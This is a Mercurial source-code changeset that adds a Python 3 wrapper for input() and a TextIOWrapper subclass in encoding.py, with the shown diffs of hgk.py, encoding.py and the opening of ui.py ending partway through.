py3: introduce a wrapper for __builtins__.{raw_,}input()

In order to make this work, we have to wrap the io streams in a
TextIOWrapper so that __builtins__.input() can do unicode IO on Python
3. We can't just restore the original (unicode) sys.std* because we
might be running a cmdserver, and if we blindly restore sys.* to the
original values then we end up breaking the cmdserver. Sadly,
TextIOWrapper tries to close the underlying stream during its __del__,
so we have to make a sublcass to prevent that.

If you see errors like:

TypeError: a bytes-like object is required, not 'str'

On an input() or print() call on Python 3, the substitution of
sys.std* is probably the root cause.

A previous version of this change tried to put the bytesinput() method
in pycompat - it turns out we need to do some encoding handling, so we
have to be in a higher layer that's allowed to use
mercurial.encoding.encoding. As a result, this is in util for now,
with the TextIOWrapper subclass hiding in encoding.py. I'm not sure of
a better place for the time being.

Differential Revision: https://phab.mercurial-scm.org/D299

hgext/hgk.py

@@ -1,350 +1,351 b''
 # Minimal support for git commands on an hg repository
 #
 # Copyright 2005, 2006 Chris Mason <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 '''browse the repository in a graphical way
 
 The hgk extension allows browsing the history of a repository in a
 graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not
 distributed with Mercurial.)
 
 hgk consists of two parts: a Tcl script that does the displaying and
 querying of information, and an extension to Mercurial named hgk.py,
 which provides hooks for hgk to get information. hgk can be found in
 the contrib directory, and the extension is shipped in the hgext
 repository, and needs to be enabled.
 
 The :hg:`view` command will launch the hgk Tcl script. For this command
 to work, hgk must be in your search path. Alternately, you can specify
 the path to hgk in your configuration file::
 
   [hgk]
   path = /location/of/hgk
 
 hgk can make use of the extdiff extension to visualize revisions.
 Assuming you had already configured extdiff vdiff command, just add::
 
   [hgk]
   vdiff=vdiff
 
 Revisions context menu will now display additional entries to fire
 vdiff on hovered and selected revisions.
 '''
 
 from __future__ import absolute_import
 
 import os
 
 from mercurial.i18n import _
 from mercurial.node import (
     nullid,
     nullrev,
     short,
 )
 from mercurial import (
     commands,
     obsolete,
     patch,
     registrar,
     scmutil,
+    util,
 )
 
 cmdtable = {}
 command = registrar.command(cmdtable)
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
 @command('debug-diff-tree',
     [('p', 'patch', None, _('generate patch')),
     ('r', 'recursive', None, _('recursive')),
     ('P', 'pretty', None, _('pretty')),
     ('s', 'stdin', None, _('stdin')),
     ('C', 'copy', None, _('detect copies')),
     ('S', 'search', "", _('search'))],
     ('[OPTION]... NODE1 NODE2 [FILE]...'),
     inferrepo=True)
 def difftree(ui, repo, node1=None, node2=None, *files, **opts):
     """diff trees from two commits"""
     def __difftree(repo, node1, node2, files=None):
         assert node2 is not None
         if files is None:
             files = []
         mmap = repo[node1].manifest()
         mmap2 = repo[node2].manifest()
         m = scmutil.match(repo[node1], files)
         modified, added, removed  = repo.status(node1, node2, m)[:3]
         empty = short(nullid)
 
         for f in modified:
             # TODO get file permissions
             ui.write((":100664 100664 %s %s M\t%s\t%s\n") %
                      (short(mmap[f]), short(mmap2[f]), f, f))
         for f in added:
             ui.write((":000000 100664 %s %s N\t%s\t%s\n") %
                      (empty, short(mmap2[f]), f, f))
         for f in removed:
             ui.write((":100664 000000 %s %s D\t%s\t%s\n") %
                      (short(mmap[f]), empty, f, f))
     ##
 
     while True:
         if opts['stdin']:
             try:
-                line = raw_input().split(' ')
+                line = util.bytesinput(ui.fin, ui.fout).split(' ')
                 node1 = line[0]
                 if len(line) > 1:
                     node2 = line[1]
                 else:
                     node2 = None
             except EOFError:
                 break
         node1 = repo.lookup(node1)
         if node2:
             node2 = repo.lookup(node2)
         else:
             node2 = node1
             node1 = repo.changelog.parents(node1)[0]
         if opts['patch']:
             if opts['pretty']:
                 catcommit(ui, repo, node2, "")
             m = scmutil.match(repo[node1], files)
             diffopts = patch.difffeatureopts(ui)
             diffopts.git = True
             chunks = patch.diff(repo, node1, node2, match=m,
                                 opts=diffopts)
             for chunk in chunks:
                 ui.write(chunk)
         else:
             __difftree(repo, node1, node2, files=files)
         if not opts['stdin']:
             break
 
 def catcommit(ui, repo, n, prefix, ctx=None):
     nlprefix = '\n' + prefix
     if ctx is None:
         ctx = repo[n]
     # use ctx.node() instead ??
     ui.write(("tree %s\n" % short(ctx.changeset()[0])))
     for p in ctx.parents():
         ui.write(("parent %s\n" % p))
 
     date = ctx.date()
     description = ctx.description().replace("\0", "")
     ui.write(("author %s %s %s\n" % (ctx.user(), int(date[0]), date[1])))
 
     if 'committer' in ctx.extra():
         ui.write(("committer %s\n" % ctx.extra()['committer']))
 
     ui.write(("revision %d\n" % ctx.rev()))
     ui.write(("branch %s\n" % ctx.branch()))
     if obsolete.isenabled(repo, obsolete.createmarkersopt):
         if ctx.obsolete():
             ui.write(("obsolete\n"))
     ui.write(("phase %s\n\n" % ctx.phasestr()))
 
     if prefix != "":
         ui.write("%s%s\n" % (prefix,
                              description.replace('\n', nlprefix).strip()))
     else:
         ui.write(description + "\n")
     if prefix:
         ui.write('\0')
 
 @command('debug-merge-base', [], _('REV REV'))
 def base(ui, repo, node1, node2):
     """output common ancestor information"""
     node1 = repo.lookup(node1)
     node2 = repo.lookup(node2)
     n = repo.changelog.ancestor(node1, node2)
     ui.write(short(n) + "\n")
 
 @command('debug-cat-file',
     [('s', 'stdin', None, _('stdin'))],
     _('[OPTION]... TYPE FILE'),
     inferrepo=True)
 def catfile(ui, repo, type=None, r=None, **opts):
     """cat a specific revision"""
     # in stdin mode, every line except the commit is prefixed with two
     # spaces.  This way the our caller can find the commit without magic
     # strings
     #
     prefix = ""
     if opts['stdin']:
         try:
-            (type, r) = raw_input().split(' ')
+            (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
             prefix = "    "
         except EOFError:
             return
 
     else:
         if not type or not r:
             ui.warn(_("cat-file: type or revision not supplied\n"))
             commands.help_(ui, 'cat-file')
 
     while r:
         if type != "commit":
             ui.warn(_("aborting hg cat-file only understands commits\n"))
             return 1
         n = repo.lookup(r)
         catcommit(ui, repo, n, prefix)
         if opts['stdin']:
             try:
-                (type, r) = raw_input().split(' ')
+                (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
             except EOFError:
                 break
         else:
             break
 
 # git rev-tree is a confusing thing.  You can supply a number of
 # commit sha1s on the command line, and it walks the commit history
 # telling you which commits are reachable from the supplied ones via
 # a bitmask based on arg position.
 # you can specify a commit to stop at by starting the sha1 with ^
 def revtree(ui, args, repo, full="tree", maxnr=0, parents=False):
     def chlogwalk():
         count = len(repo)
         i = count
         l = [0] * 100
         chunk = 100
         while True:
             if chunk > i:
                 chunk = i
                 i = 0
             else:
                 i -= chunk
 
             for x in xrange(chunk):
                 if i + x >= count:
                     l[chunk - x:] = [0] * (chunk - x)
                     break
                 if full is not None:
                     if (i + x) in repo:
                         l[x] = repo[i + x]
                         l[x].changeset() # force reading
                 else:
                     if (i + x) in repo:
                         l[x] = 1
             for x in xrange(chunk - 1, -1, -1):
                 if l[x] != 0:
                     yield (i + x, full is not None and l[x] or None)
             if i == 0:
                 break
 
     # calculate and return the reachability bitmask for sha
     def is_reachable(ar, reachable, sha):
         if len(ar) == 0:
             return 1
         mask = 0
         for i in xrange(len(ar)):
             if sha in reachable[i]:
                 mask |= 1 << i
 
         return mask
 
     reachable = []
     stop_sha1 = []
     want_sha1 = []
     count = 0
 
     # figure out which commits they are asking for and which ones they
     # want us to stop on
     for i, arg in enumerate(args):
         if arg.startswith('^'):
             s = repo.lookup(arg[1:])
             stop_sha1.append(s)
             want_sha1.append(s)
         elif arg != 'HEAD':
             want_sha1.append(repo.lookup(arg))
 
     # calculate the graph for the supplied commits
     for i, n in enumerate(want_sha1):
         reachable.append(set())
         visit = [n]
         reachable[i].add(n)
         while visit:
             n = visit.pop(0)
             if n in stop_sha1:
                 continue
             for p in repo.changelog.parents(n):
                 if p not in reachable[i]:
                     reachable[i].add(p)
                     visit.append(p)
                 if p in stop_sha1:
                     continue
 
     # walk the repository looking for commits that are in our
     # reachability graph
     for i, ctx in chlogwalk():
         if i not in repo:
             continue
         n = repo.changelog.node(i)
         mask = is_reachable(want_sha1, reachable, n)
         if mask:
             parentstr = ""
             if parents:
                 pp = repo.changelog.parents(n)
                 if pp[0] != nullid:
                     parentstr += " " + short(pp[0])
                 if pp[1] != nullid:
                     parentstr += " " + short(pp[1])
             if not full:
                 ui.write("%s%s\n" % (short(n), parentstr))
             elif full == "commit":
                 ui.write("%s%s\n" % (short(n), parentstr))
                 catcommit(ui, repo, n, '    ', ctx)
             else:
                 (p1, p2) = repo.changelog.parents(n)
                 (h, h1, h2) = map(short, (n, p1, p2))
                 (i1, i2) = map(repo.changelog.rev, (p1, p2))
 
                 date = ctx.date()[0]
                 ui.write("%s %s:%s" % (date, h, mask))
                 mask = is_reachable(want_sha1, reachable, p1)
                 if i1 != nullrev and mask > 0:
                     ui.write("%s:%s " % (h1, mask)),
                 mask = is_reachable(want_sha1, reachable, p2)
                 if i2 != nullrev and mask > 0:
                     ui.write("%s:%s " % (h2, mask))
                 ui.write("\n")
             if maxnr and count >= maxnr:
                 break
             count += 1
 
 # git rev-list tries to order things by date, and has the ability to stop
 # at a given commit without walking the whole repo.  TODO add the stop
 # parameter
 @command('debug-rev-list',
     [('H', 'header', None, _('header')),
     ('t', 'topo-order', None, _('topo-order')),
     ('p', 'parents', None, _('parents')),
     ('n', 'max-count', 0, _('max-count'))],
     ('[OPTION]... REV...'))
 def revlist(ui, repo, *revs, **opts):
     """print revisions"""
     if opts['header']:
         full = "commit"
     else:
         full = None
     copy = [x for x in revs]
     revtree(ui, copy, repo, full, opts['max_count'], opts['parents'])
 
 @command('view',
     [('l', 'limit', '',
      _('limit number of changes displayed'), _('NUM'))],
     _('[-l LIMIT] [REVRANGE]'))
 def view(ui, repo, *etc, **opts):
     "start interactive history viewer"
     os.chdir(repo.root)
     optstr = ' '.join(['--%s %s' % (k, v) for k, v in opts.iteritems() if v])
     if repo.filtername is None:
         optstr += '--hidden'
 
     cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc))
     ui.debug("running %s\n" % cmd)
     ui.system(cmd, blockedtag='hgk_view')

mercurial/encoding.py

@@ -1,575 +1,589 b''
 # encoding.py - character transcoding support for Mercurial
 #
 #  Copyright 2005-2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import array
+import io
 import locale
 import os
 import unicodedata
 
 from . import (
     error,
     policy,
     pycompat,
 )
 
 charencode = policy.importmod(r'charencode')
 
 asciilower = charencode.asciilower
 asciiupper = charencode.asciiupper
 
 _sysstr = pycompat.sysstr
 
 if pycompat.ispy3:
     unichr = chr
 
 # These unicode characters are ignored by HFS+ (Apple Technote 1150,
 # "Unicode Subtleties"), so we need to ignore them in some places for
 # sanity.
 _ignore = [unichr(int(x, 16)).encode("utf-8") for x in
            "200c 200d 200e 200f 202a 202b 202c 202d 202e "
            "206a 206b 206c 206d 206e 206f feff".split()]
 # verify the next function will work
 assert all(i.startswith(("\xe2", "\xef")) for i in _ignore)
 
 def hfsignoreclean(s):
     """Remove codepoints ignored by HFS+ from s.
 
     >>> hfsignoreclean(u'.h\u200cg'.encode('utf-8'))
     '.hg'
     >>> hfsignoreclean(u'.h\ufeffg'.encode('utf-8'))
     '.hg'
     """
     if "\xe2" in s or "\xef" in s:
         for c in _ignore:
             s = s.replace(c, '')
     return s
 
 # encoding.environ is provided read-only, which may not be used to modify
 # the process environment
 _nativeenviron = (not pycompat.ispy3 or os.supports_bytes_environ)
 if not pycompat.ispy3:
     environ = os.environ  # re-exports
 elif _nativeenviron:
     environ = os.environb  # re-exports
 else:
     # preferred encoding isn't known yet; use utf-8 to avoid unicode error
     # and recreate it once encoding is settled
     environ = dict((k.encode(u'utf-8'), v.encode(u'utf-8'))
                    for k, v in os.environ.items())  # re-exports
 
 _encodingfixers = {
     '646': lambda: 'ascii',
     'ANSI_X3.4-1968': lambda: 'ascii',
 }
 
 try:
     encoding = environ.get("HGENCODING")
     if not encoding:
         encoding = locale.getpreferredencoding().encode('ascii') or 'ascii'
         encoding = _encodingfixers.get(encoding, lambda: encoding)()
 except locale.Error:
     encoding = 'ascii'
 encodingmode = environ.get("HGENCODINGMODE", "strict")
 fallbackencoding = 'ISO-8859-1'
 
 class localstr(bytes):
     '''This class allows strings that are unmodified to be
     round-tripped to the local encoding and back'''
     def __new__(cls, u, l):
         s = bytes.__new__(cls, l)
         s._utf8 = u
         return s
     def __hash__(self):
         return hash(self._utf8) # avoid collisions in local string space
 
 def tolocal(s):
     """
     Convert a string from internal UTF-8 to local encoding
 
     All internal strings should be UTF-8 but some repos before the
     implementation of locale support may contain latin1 or possibly
     other character sets. We attempt to decode everything strictly
     using UTF-8, then Latin-1, and failing that, we use UTF-8 and
     replace unknown characters.
 
     The localstr class is used to cache the known UTF-8 encoding of
     strings next to their local representation to allow lossless
     round-trip conversion back to UTF-8.
 
     >>> u = 'foo: \\xc3\\xa4' # utf-8
     >>> l = tolocal(u)
     >>> l
     'foo: ?'
     >>> fromlocal(l)
     'foo: \\xc3\\xa4'
     >>> u2 = 'foo: \\xc3\\xa1'
     >>> d = { l: 1, tolocal(u2): 2 }
     >>> len(d) # no collision
     2
     >>> 'foo: ?' in d
     False
     >>> l1 = 'foo: \\xe4' # historical latin1 fallback
     >>> l = tolocal(l1)
     >>> l
     'foo: ?'
     >>> fromlocal(l) # magically in utf-8
     'foo: \\xc3\\xa4'
     """
 
     try:
         try:
             # make sure string is actually stored in UTF-8
             u = s.decode('UTF-8')
             if encoding == 'UTF-8':
                 # fast path
                 return s
             r = u.encode(_sysstr(encoding), u"replace")
             if u == r.decode(_sysstr(encoding)):
                 # r is a safe, non-lossy encoding of s
                 return r
             return localstr(s, r)
         except UnicodeDecodeError:
             # we should only get here if we're looking at an ancient changeset
             try:
                 u = s.decode(_sysstr(fallbackencoding))
                 r = u.encode(_sysstr(encoding), u"replace")
                 if u == r.decode(_sysstr(encoding)):
                     # r is a safe, non-lossy encoding of s
                     return r
                 return localstr(u.encode('UTF-8'), r)
             except UnicodeDecodeError:
                 u = s.decode("utf-8", "replace") # last ditch
                 # can't round-trip
                 return u.encode(_sysstr(encoding), u"replace")
     except LookupError as k:
         raise error.Abort(k, hint="please check your locale settings")
 
 def fromlocal(s):
     """
     Convert a string from the local character encoding to UTF-8
 
     We attempt to decode strings using the encoding mode set by
     HGENCODINGMODE, which defaults to 'strict'. In this mode, unknown
     characters will cause an error message. Other modes include
     'replace', which replaces unknown characters with a special
     Unicode character, and 'ignore', which drops the character.
     """
 
     # can we do a lossless round-trip?
     if isinstance(s, localstr):
         return s._utf8
 
     try:
         u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
         return u.encode("utf-8")
     except UnicodeDecodeError as inst:
         sub = s[max(0, inst.start - 10):inst.start + 10]
         raise error.Abort("decoding near '%s': %s!" % (sub, inst))
     except LookupError as k:
         raise error.Abort(k, hint="please check your locale settings")
 
 def unitolocal(u):
     """Convert a unicode string to a byte string of local encoding"""
     return tolocal(u.encode('utf-8'))
 
 def unifromlocal(s):
     """Convert a byte string of local encoding to a unicode string"""
     return fromlocal(s).decode('utf-8')
 
 def unimethod(bytesfunc):
     """Create a proxy method that forwards __unicode__() and __str__() of
     Python 3 to __bytes__()"""
     def unifunc(obj):
         return unifromlocal(bytesfunc(obj))
     return unifunc
 
 # converter functions between native str and byte string. use these if the
 # character encoding is not aware (e.g. exception message) or is known to
 # be locale dependent (e.g. date formatting.)
 if pycompat.ispy3:
     strtolocal = unitolocal
     strfromlocal = unifromlocal
     strmethod = unimethod
 else:
     strtolocal = pycompat.identity
     strfromlocal = pycompat.identity
     strmethod = pycompat.identity
 
 if not _nativeenviron:
     # now encoding and helper functions are available, recreate the environ
     # dict to be exported to other modules
     environ = dict((tolocal(k.encode(u'utf-8')), tolocal(v.encode(u'utf-8')))
                    for k, v in os.environ.items())  # re-exports
 
 # How to treat ambiguous-width characters. Set to 'wide' to treat as wide.
 _wide = _sysstr(environ.get("HGENCODINGAMBIGUOUS", "narrow") == "wide"
                 and "WFA" or "WF")
 
 def colwidth(s):
     "Find the column width of a string for display in the local encoding"
     return ucolwidth(s.decode(_sysstr(encoding), u'replace'))
 
 def ucolwidth(d):
     "Find the column width of a Unicode string for display"
     eaw = getattr(unicodedata, 'east_asian_width', None)
     if eaw is not None:
         return sum([eaw(c) in _wide and 2 or 1 for c in d])
     return len(d)
 
 def getcols(s, start, c):
     '''Use colwidth to find a c-column substring of s starting at byte
     index start'''
     for x in xrange(start + c, len(s)):
         t = s[start:x]
         if colwidth(t) == c:
             return t
 
 def trim(s, width, ellipsis='', leftside=False):
     """Trim string 's' to at most 'width' columns (including 'ellipsis').
 
     If 'leftside' is True, left side of string 's' is trimmed.
     'ellipsis' is always placed at trimmed side.
 
     >>> ellipsis = '+++'
     >>> from . import encoding
     >>> encoding.encoding = 'utf-8'
     >>> t= '1234567890'
     >>> print trim(t, 12, ellipsis=ellipsis)
     1234567890
     >>> print trim(t, 10, ellipsis=ellipsis)
     1234567890
     >>> print trim(t, 8, ellipsis=ellipsis)
     12345+++
     >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
     +++67890
     >>> print trim(t, 8)
     12345678
     >>> print trim(t, 8, leftside=True)
     34567890
     >>> print trim(t, 3, ellipsis=ellipsis)
     +++
     >>> print trim(t, 1, ellipsis=ellipsis)
     +
     >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
     >>> t = u.encode(encoding.encoding)
     >>> print trim(t, 12, ellipsis=ellipsis)
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
     >>> print trim(t, 10, ellipsis=ellipsis)
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
     >>> print trim(t, 8, ellipsis=ellipsis)
     \xe3\x81\x82\xe3\x81\x84+++
     >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
     +++\xe3\x81\x88\xe3\x81\x8a
     >>> print trim(t, 5)
     \xe3\x81\x82\xe3\x81\x84
     >>> print trim(t, 5, leftside=True)
     \xe3\x81\x88\xe3\x81\x8a
     >>> print trim(t, 4, ellipsis=ellipsis)
     +++
     >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
     +++
     >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
     >>> print trim(t, 12, ellipsis=ellipsis)
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
     >>> print trim(t, 10, ellipsis=ellipsis)
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
     >>> print trim(t, 8, ellipsis=ellipsis)
     \x11\x22\x33\x44\x55+++
     >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
     +++\x66\x77\x88\x99\xaa
     >>> print trim(t, 8)
     \x11\x22\x33\x44\x55\x66\x77\x88
     >>> print trim(t, 8, leftside=True)
     \x33\x44\x55\x66\x77\x88\x99\xaa
     >>> print trim(t, 3, ellipsis=ellipsis)
     +++
     >>> print trim(t, 1, ellipsis=ellipsis)
     +
     """
     try:
         u = s.decode(_sysstr(encoding))
     except UnicodeDecodeError:
         if len(s) <= width: # trimming is not needed
             return s
         width -= len(ellipsis)
         if width <= 0: # no enough room even for ellipsis
             return ellipsis[:width + len(ellipsis)]
         if leftside:
             return ellipsis + s[-width:]
         return s[:width] + ellipsis
 
     if ucolwidth(u) <= width: # trimming is not needed
         return s
 
     width -= len(ellipsis)
     if width <= 0: # no enough room even for ellipsis
         return ellipsis[:width + len(ellipsis)]
 
     if leftside:
         uslice = lambda i: u[i:]
         concat = lambda s: ellipsis + s
     else:
         uslice = lambda i: u[:-i]
         concat = lambda s: s + ellipsis
     for i in xrange(1, len(u)):
         usub = uslice(i)
         if ucolwidth(usub) <= width:
             return concat(usub.encode(_sysstr(encoding)))
     return ellipsis # no enough room for multi-column characters
 
 def lower(s):
     "best-effort encoding-aware case-folding of local string s"
     try:
         return asciilower(s)
     except UnicodeDecodeError:
         pass
     try:
         if isinstance(s, localstr):
             u = s._utf8.decode("utf-8")
         else:
             u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
 
         lu = u.lower()
         if u == lu:
             return s # preserve localstring
         return lu.encode(_sysstr(encoding))
     except UnicodeError:
         return s.lower() # we don't know how to fold this except in ASCII
     except LookupError as k:
         raise error.Abort(k, hint="please check your locale settings")
 
 def upper(s):
     "best-effort encoding-aware case-folding of local string s"
     try:
         return asciiupper(s)
     except UnicodeDecodeError:
         return upperfallback(s)
 
 def upperfallback(s):
     try:
         if isinstance(s, localstr):
             u = s._utf8.decode("utf-8")
         else:
             u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
 
         uu = u.upper()
         if u == uu:
             return s # preserve localstring
         return uu.encode(_sysstr(encoding))
     except UnicodeError:
         return s.upper() # we don't know how to fold this except in ASCII
     except LookupError as k:
         raise error.Abort(k, hint="please check your locale settings")
 
 class normcasespecs(object):
     '''what a platform's normcase does to ASCII strings
 
     This is specified per platform, and should be consistent with what normcase
     on that platform actually does.
 
     lower: normcase lowercases ASCII strings
     upper: normcase uppercases ASCII strings
     other: the fallback function should always be called
 
     This should be kept in sync with normcase_spec in util.h.'''
     lower = -1
     upper = 1
     other = 0
 
 _jsonmap = []
 _jsonmap.extend("\\u%04x" % x for x in range(32))
 _jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
 _jsonmap.append('\\u007f')
 _jsonmap[0x09] = '\\t'
 _jsonmap[0x0a] = '\\n'
 _jsonmap[0x22] = '\\"'
 _jsonmap[0x5c] = '\\\\'
 _jsonmap[0x08] = '\\b'
 _jsonmap[0x0c] = '\\f'
 _jsonmap[0x0d] = '\\r'
 _paranoidjsonmap = _jsonmap[:]
 _paranoidjsonmap[0x3c] = '\\u003c'  # '<' (e.g. escape "</script>")
 _paranoidjsonmap[0x3e] = '\\u003e'  # '>'
 _jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
 
 def jsonescape(s, paranoid=False):
     '''returns a string suitable for JSON
 
     JSON is problematic for us because it doesn't support non-Unicode
     bytes. To deal with this, we take the following approach:
 
     - localstr objects are converted back to UTF-8
     - valid UTF-8/ASCII strings are passed as-is
     - other strings are converted to UTF-8b surrogate encoding
     - apply JSON-specified string escaping
 
     (escapes are doubled in these tests)
 
     >>> jsonescape('this is a test')
     'this is a test'
     >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
     'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
     >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\')
     'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\'
     >>> jsonescape('a weird byte: \\xdd')
     'a weird byte: \\xed\\xb3\\x9d'
     >>> jsonescape('utf-8: caf\\xc3\\xa9')
     'utf-8: caf\\xc3\\xa9'
     >>> jsonescape('')
     ''
 
     If paranoid, non-ascii and common troublesome characters are also escaped.
     This is suitable for web output.
 
     >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
     'escape boundary: ~ \\\\u007f \\\\u0080'
     >>> jsonescape('a weird byte: \\xdd', paranoid=True)
     'a weird byte: \\\\udcdd'
     >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True)
     'utf-8: caf\\\\u00e9'
     >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
     'non-BMP: \\\\ud834\\\\udd1e'
     >>> jsonescape('<[e-mail]>', paranoid=True)
     '\\\\[e-mail]\\\\u003e'
     '''
 
     if paranoid:
         jm = _paranoidjsonmap
     else:
         jm = _jsonmap
 
     u8chars = toutf8b(s)
     try:
         return ''.join(jm[x] for x in bytearray(u8chars))  # fast path
     except IndexError:
         pass
     # non-BMP char is represented as UTF-16 surrogate pair
     u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
     u16codes.pop(0)  # drop BOM
     return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
 
 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
 
 def getutf8char(s, pos):
     '''get the next full utf-8 character in the given string, starting at pos
 
     Raises a UnicodeError if the given location does not start a valid
     utf-8 character.
     '''
 
     # find how many bytes to attempt decoding from first nibble
     l = _utf8len[ord(s[pos]) >> 4]
     if not l: # ascii
         return s[pos]
 
     c = s[pos:pos + l]
     # validate with attempted decode
     c.decode("utf-8")
     return c
 
 def toutf8b(s):
     '''convert a local, possibly-binary string into UTF-8b
 
     This is intended as a generic method to preserve data when working
     with schemes like JSON and XML that have no provision for
     arbitrary byte strings. As Mercurial often doesn't know
     what encoding data is in, we use so-called UTF-8b.
 
     If a string is already valid UTF-8 (or ASCII), it passes unmodified.
     Otherwise, unsupported bytes are mapped to UTF-16 surrogate range,
     uDC00-uDCFF.
 
     Principles of operation:
 
     - ASCII and UTF-8 data successfully round-trips and is understood
       by Unicode-oriented clients
     - filenames and file contents in arbitrary other encodings can have
       be round-tripped or recovered by clueful clients
     - local strings that have a cached known UTF-8 encoding (aka
       localstr) get sent as UTF-8 so Unicode-oriented clients get the
       Unicode data they want
     - because we must preserve UTF-8 bytestring in places such as
       filenames, metadata can't be roundtripped without help
 
     (Note: "UTF-8b" often refers to decoding a mix of valid UTF-8 and
     arbitrary bytes into an internal Unicode format that can be
     re-encoded back into the original. Here we are exposing the
     internal surrogate encoding as a UTF-8 string.)
     '''
 
     if "\xed" not in s:
         if isinstance(s, localstr):
             return s._utf8
         try:
             s.decode('utf-8')
             return s
         except UnicodeDecodeError:
             pass
 
     r = ""
     pos = 0
     l = len(s)
     while pos < l:
         try:
             c = getutf8char(s, pos)
             if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
                 # have to re-escape existing U+DCxx characters
                 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
                 pos += 1
             else:
                 pos += len(c)
         except UnicodeDecodeError:
             c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
             pos += 1
         r += c
     return r
 
 def fromutf8b(s):
     '''Given a UTF-8b string, return a local, possibly-binary string.
 
     return the original binary string. This
     is a round-trip process for strings like filenames, but metadata
     that's was passed through tolocal will remain in UTF-8.
 
     >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x
     >>> m = "\\xc3\\xa9\\x99abcd"
     >>> toutf8b(m)
     '\\xc3\\xa9\\xed\\xb2\\x99abcd'
     >>> roundtrip(m)
     True
     >>> roundtrip("\\xc2\\xc2\\x80")
     True
     >>> roundtrip("\\xef\\xbf\\xbd")
     True
     >>> roundtrip("\\xef\\xef\\xbf\\xbd")
     True
     >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80")
     True
     '''
 
     # fast path - look for uDxxx prefixes in s
     if "\xed" not in s:
         return s
 
     # We could do this with the unicode type but some Python builds
     # use UTF-16 internally (issue5031) which causes non-BMP code
     # points to be escaped. Instead, we use our handy getutf8char
     # helper again to walk the string without "decoding" it.
 
     r = ""
     pos = 0
     l = len(s)
     while pos < l:
         c = getutf8char(s, pos)
         pos += len(c)
         # unescape U+DCxx characters
         if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
             c = chr(ord(c.decode("utf-8")) & 0xff)
         r += c
     return r
+
+class strio(io.TextIOWrapper):
+    """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
+
+    Also works around Python closing streams.
+    """
+
+    def __init__(self, buffer, **kwargs):
+        kwargs[r'encoding'] = _sysstr(encoding)
+        super(strio, self).__init__(buffer, **kwargs)
+
+    def __del__(self):
+        """Override __del__ so it doesn't close the underlying stream."""

mercurial/ui.py

@@ -1,1785 +1,1777 b''
 # ui.py - user interface bits for mercurial
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import collections
 import contextlib
 import errno
 import getpass
 import inspect
 import os
 import re
 import signal
 import socket
 import subprocess
 import sys
 import tempfile
 import traceback
 
 from .i18n import _
 from .node import hex
 
 from . import (
     color,
     config,
     configitems,
     encoding,
     error,
     formatter,
     progress,
     pycompat,
     rcutil,
     scmutil,
     util,
 )
 
 urlreq = util.urlreq
 
 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
 _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256))
                      if not c.isalnum())
 
 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
 tweakrc = """
 [ui]
 # The rollback command is dangerous. As a rule, don't use it.
 rollback = False
 
 [commands]
 # Make `hg status` emit cwd-relative paths by default.
 status.relative = yes
 
 [diff]
 git = 1
 """
 
 samplehgrcs = {
     'user':
 b"""# example user config (see 'hg help config' for more info)
 [ui]
 # name and email, e.g.
 # username = Jane Doe <[e-mail]>
 username =
 
 # uncomment to disable color in command output
 # (see 'hg help color' for details)
 # color = never
 
 # uncomment to disable command output pagination
 # (see 'hg help pager' for details)
 # paginate = never
 
 [extensions]
 # uncomment these lines to enable some popular extensions
 # (see 'hg help extensions' for more info)
 #
 # churn =
 """,
 
     'cloned':
 b"""# example repository config (see 'hg help config' for more info)
 [paths]
 default = %s
 
 # path aliases to other clones of this repo in URLs or filesystem paths
 # (see 'hg help config.paths' for more info)
 #
 # default:pushurl = ssh://[e-mail]/hg/jdoes-fork
 # my-fork         = ssh://[e-mail]/hg/jdoes-fork
